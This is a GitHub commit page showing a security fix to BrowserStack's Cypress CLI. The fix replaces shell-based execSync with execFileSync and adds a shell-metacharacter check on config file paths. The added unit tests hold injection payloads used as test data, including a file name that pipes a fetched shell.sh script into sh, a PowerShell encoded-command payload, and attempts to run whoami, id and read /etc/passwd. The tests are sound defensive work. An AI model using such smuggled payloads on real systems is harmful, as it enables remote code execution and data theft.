Skip to content

Commit 8884dc3

Browse files
Merge pull request #1080 from browserstack/fix/APS-18613-command-injection-cypress-config
[APS-18613] fix: prevent command injection via cypress_config_file in loadJsFile
2 parents 6d2ac1a + e9f1fbc commit 8884dc3

2 files changed

Lines changed: 151 additions & 16 deletions

File tree

bin/helpers/readCypressConfigUtil.js

Lines changed: 42 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,26 @@ const constants = require("./constants");
88
const utils = require("./utils");
99
const logger = require('./logger').winstonLogger;
1010

11+
// Defense-in-depth: reject file paths containing shell metacharacters.
12+
// This guards against command injection even if execFileSync is ever
13+
// replaced with a shell-based exec in the future.
14+
//
15+
// Note: backslash (\) is intentionally NOT included here because it is a
16+
// legitimate path separator on Windows (e.g. C:\Users\me\cypress.config.js).
17+
// The actual security boundary is execFileSync (no shell), not this regex.
18+
const DANGEROUS_PATH_CHARS = /[;"`$|&(){}]/;
19+
20+
function validateFilePath(filepath) {
21+
if (DANGEROUS_PATH_CHARS.test(filepath)) {
22+
throw new Error(
23+
`Invalid cypress config file path: "${filepath}" contains disallowed characters. ` +
24+
'File paths must not include shell metacharacters such as ; " ` $ | & ( ) { }'
25+
);
26+
}
27+
}
28+
29+
exports.validateFilePath = validateFilePath;
30+
1131
exports.detectLanguage = (cypress_config_filename) => {
1232
const extension = cypress_config_filename.split('.').pop()
1333
return constants.CYPRESS_V10_AND_ABOVE_CONFIG_FILE_EXTENSIONS.includes(extension) ? extension : 'js'
@@ -186,13 +206,29 @@ exports.convertTsConfig = (bsConfig, cypress_config_filepath, bstack_node_module
186206
}
187207

188208
exports.loadJsFile = (cypress_config_filepath, bstack_node_modules_path) => {
189-
const require_module_helper_path = path.join(__dirname, 'requireModule.js')
190-
let load_command = `NODE_PATH="${bstack_node_modules_path}" node "${require_module_helper_path}" "${cypress_config_filepath}"`
191-
if (/^win/.test(process.platform)) {
192-
load_command = `set NODE_PATH=${bstack_node_modules_path}&& node "${require_module_helper_path}" "${cypress_config_filepath}"`
209+
// Security: validate file path to reject shell metacharacters (defense-in-depth)
210+
validateFilePath(cypress_config_filepath);
211+
212+
// UX: surface a clear error if the cypress config file is missing.
213+
// (This is purely a UX check — the security boundary is execFileSync above
214+
// plus the metacharacter regex; existsSync alone would NOT prevent injection.)
215+
if (!fs.existsSync(cypress_config_filepath)) {
216+
throw new Error(`Cypress config file not found at: ${cypress_config_filepath}`);
193217
}
194-
logger.debug(`Running: ${load_command}`)
195-
cp.execSync(load_command)
218+
219+
const require_module_helper_path = path.join(__dirname, 'requireModule.js')
220+
221+
// Security fix: use execFileSync instead of execSync to avoid shell interpolation.
222+
// execFileSync spawns the process directly without a shell, so user-controlled
223+
// values in cypress_config_filepath cannot break out into shell commands.
224+
const execOptions = {
225+
env: Object.assign({}, process.env, { NODE_PATH: bstack_node_modules_path })
226+
};
227+
const args = [require_module_helper_path, cypress_config_filepath];
228+
229+
logger.debug(`Running: node ${args.map(a => '"' + a + '"').join(' ')} (via execFileSync, NODE_PATH=${bstack_node_modules_path})`);
230+
cp.execFileSync('node', args, execOptions);
231+
196232
const cypress_config = JSON.parse(fs.readFileSync(config.configJsonFileName).toString())
197233
if (fs.existsSync(config.configJsonFileName)) {
198234
fs.unlinkSync(config.configJsonFileName)

test/unit/bin/helpers/readCypressConfigUtil.js

Lines changed: 109 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -40,26 +40,83 @@ describe("readCypressConfigUtil", () => {
4040
});
4141
});
4242

43+
describe('validateFilePath', () => {
44+
it('should accept a normal file path', () => {
45+
expect(() => readCypressConfigUtil.validateFilePath('path/to/cypress.config.js')).to.not.throw();
46+
});
47+
48+
it('should accept paths with spaces', () => {
49+
expect(() => readCypressConfigUtil.validateFilePath('path/to my project/cypress.config.js')).to.not.throw();
50+
});
51+
52+
it('should accept Windows absolute paths with backslashes', () => {
53+
expect(() => readCypressConfigUtil.validateFilePath('C:\\Users\\test\\cypress.config.js')).to.not.throw();
54+
});
55+
56+
it('should accept Windows absolute paths with spaces and backslashes (Program Files)', () => {
57+
expect(() => readCypressConfigUtil.validateFilePath('C:\\Program Files\\my app\\cypress.config.js')).to.not.throw();
58+
});
59+
60+
it('should accept Windows relative paths with backslashes', () => {
61+
expect(() => readCypressConfigUtil.validateFilePath('.\\subdir\\cypress.config.js')).to.not.throw();
62+
});
63+
64+
it('should accept UNC-style Windows paths', () => {
65+
expect(() => readCypressConfigUtil.validateFilePath('\\\\server\\share\\cypress.config.js')).to.not.throw();
66+
});
67+
68+
it('should reject paths with semicolons (command injection)', () => {
69+
expect(() => readCypressConfigUtil.validateFilePath('cypress.config";curl localhost:8000/shell.sh|sh;".js'))
70+
.to.throw(/disallowed characters/);
71+
});
72+
73+
it('should reject paths with ampersands (Windows command injection)', () => {
74+
expect(() => readCypressConfigUtil.validateFilePath('cypress.config"&powershell -encodedcommand abc&".js'))
75+
.to.throw(/disallowed characters/);
76+
});
77+
78+
it('should reject paths with backticks (subshell injection)', () => {
79+
expect(() => readCypressConfigUtil.validateFilePath('cypress.config`whoami`.js'))
80+
.to.throw(/disallowed characters/);
81+
});
82+
83+
it('should reject paths with dollar signs (variable expansion)', () => {
84+
expect(() => readCypressConfigUtil.validateFilePath('cypress.config$(id).js'))
85+
.to.throw(/disallowed characters/);
86+
});
87+
88+
it('should reject paths with pipe characters', () => {
89+
expect(() => readCypressConfigUtil.validateFilePath('cypress.config|cat /etc/passwd'))
90+
.to.throw(/disallowed characters/);
91+
});
92+
});
93+
4394
describe('loadJsFile', () => {
44-
it('should load js file', () => {
45-
const loadCommandStub = sandbox.stub(cp, "execSync").returns("random string");
95+
it('should load js file using execFileSync', () => {
96+
const execFileStub = sandbox.stub(cp, "execFileSync").returns("random string");
4697
const readFileSyncStub = sandbox.stub(fs, 'readFileSync').returns('{"e2e": {}}');
4798
const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(true);
4899
const unlinkSyncSyncStub = sandbox.stub(fs, 'unlinkSync');
49100
const requireModulePath = path.join(__dirname, '../../../../', 'bin', 'helpers', 'requireModule.js');
50-
101+
51102
const result = readCypressConfigUtil.loadJsFile('path/to/cypress.config.ts', 'path/to/tmpBstackPackages');
52-
103+
53104
expect(result).to.eql({ e2e: {} });
54-
sinon.assert.calledOnceWithExactly(loadCommandStub, `NODE_PATH="path/to/tmpBstackPackages" node "${requireModulePath}" "path/to/cypress.config.ts"`);
105+
// Verify execFileSync is called with 'node' as first arg and array of args
106+
sinon.assert.calledOnce(execFileStub);
107+
expect(execFileStub.getCall(0).args[0]).to.eql('node');
108+
expect(execFileStub.getCall(0).args[1]).to.eql([requireModulePath, 'path/to/cypress.config.ts']);
109+
// Verify NODE_PATH is passed via env option
110+
expect(execFileStub.getCall(0).args[2].env.NODE_PATH).to.eql('path/to/tmpBstackPackages');
55111
sinon.assert.calledOnce(readFileSyncStub);
56112
sinon.assert.calledOnce(unlinkSyncSyncStub);
57-
sinon.assert.calledOnce(existsSyncStub);
113+
// existsSync is now called twice: once for the file-not-found UX check, once for the unlink cleanup
114+
sinon.assert.calledTwice(existsSyncStub);
58115
});
59116

60-
it('should load js file for win', () => {
117+
it('should load js file using execFileSync on Windows too (no platform-specific branching needed)', () => {
61118
sinon.stub(process, 'platform').value('win32');
62-
const loadCommandStub = sandbox.stub(cp, "execSync").returns("random string");
119+
const execFileStub = sandbox.stub(cp, "execFileSync").returns("random string");
63120
const readFileSyncStub = sandbox.stub(fs, 'readFileSync').returns('{"e2e": {}}');
64121
const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(true);
65122
const unlinkSyncSyncStub = sandbox.stub(fs, 'unlinkSync');
@@ -68,10 +125,52 @@ describe("readCypressConfigUtil", () => {
68125
const result = readCypressConfigUtil.loadJsFile('path/to/cypress.config.ts', 'path/to/tmpBstackPackages');
69126

70127
expect(result).to.eql({ e2e: {} });
71-
sinon.assert.calledOnceWithExactly(loadCommandStub, `set NODE_PATH=path/to/tmpBstackPackages&& node "${requireModulePath}" "path/to/cypress.config.ts"`);
128+
// Same call signature on Windows - execFileSync handles cross-platform
129+
sinon.assert.calledOnce(execFileStub);
130+
expect(execFileStub.getCall(0).args[0]).to.eql('node');
131+
expect(execFileStub.getCall(0).args[1]).to.eql([requireModulePath, 'path/to/cypress.config.ts']);
132+
expect(execFileStub.getCall(0).args[2].env.NODE_PATH).to.eql('path/to/tmpBstackPackages');
72133
sinon.assert.calledOnce(readFileSyncStub);
73134
sinon.assert.calledOnce(unlinkSyncSyncStub);
74-
sinon.assert.calledOnce(existsSyncStub);
135+
// existsSync called twice: file-not-found UX check + unlink cleanup
136+
sinon.assert.calledTwice(existsSyncStub);
137+
});
138+
139+
it('should accept Windows-style absolute paths in loadJsFile (no rejection)', () => {
140+
sandbox.stub(cp, "execFileSync").returns("random string");
141+
sandbox.stub(fs, 'readFileSync').returns('{"e2e": {}}');
142+
sandbox.stub(fs, 'existsSync').returns(true);
143+
sandbox.stub(fs, 'unlinkSync');
144+
145+
// None of these should throw
146+
expect(() => readCypressConfigUtil.loadJsFile('C:\\Users\\test\\cypress.config.js', 'path/to/tmpBstackPackages'))
147+
.to.not.throw();
148+
expect(() => readCypressConfigUtil.loadJsFile('C:\\Program Files\\my app\\cypress.config.js', 'path/to/tmpBstackPackages'))
149+
.to.not.throw();
150+
expect(() => readCypressConfigUtil.loadJsFile('.\\subdir\\cypress.config.js', 'path/to/tmpBstackPackages'))
151+
.to.not.throw();
152+
});
153+
154+
it('should throw a clear error when the cypress config file does not exist (UX)', () => {
155+
sandbox.stub(fs, 'existsSync').returns(false);
156+
const execFileStub = sandbox.stub(cp, "execFileSync");
157+
158+
expect(() => readCypressConfigUtil.loadJsFile('path/to/missing/cypress.config.js', 'path/to/tmpBstackPackages'))
159+
.to.throw(/Cypress config file not found at:/);
160+
// execFileSync must NOT be invoked when the file is missing
161+
sinon.assert.notCalled(execFileStub);
162+
});
163+
164+
it('should reject file paths containing command injection characters', () => {
165+
const maliciousPath = 'cypress.config";curl localhost:8000/shell.sh|sh;".js';
166+
expect(() => readCypressConfigUtil.loadJsFile(maliciousPath, 'path/to/tmpBstackPackages'))
167+
.to.throw(/disallowed characters/);
168+
});
169+
170+
it('should reject Windows command injection payloads', () => {
171+
const maliciousPath = 'cypress.config"&powershell -encodedcommand abc&".js';
172+
expect(() => readCypressConfigUtil.loadJsFile(maliciousPath, 'path/to/tmpBstackPackages'))
173+
.to.throw(/disallowed characters/);
75174
});
76175
});
77176

0 commit comments

Comments
 (0)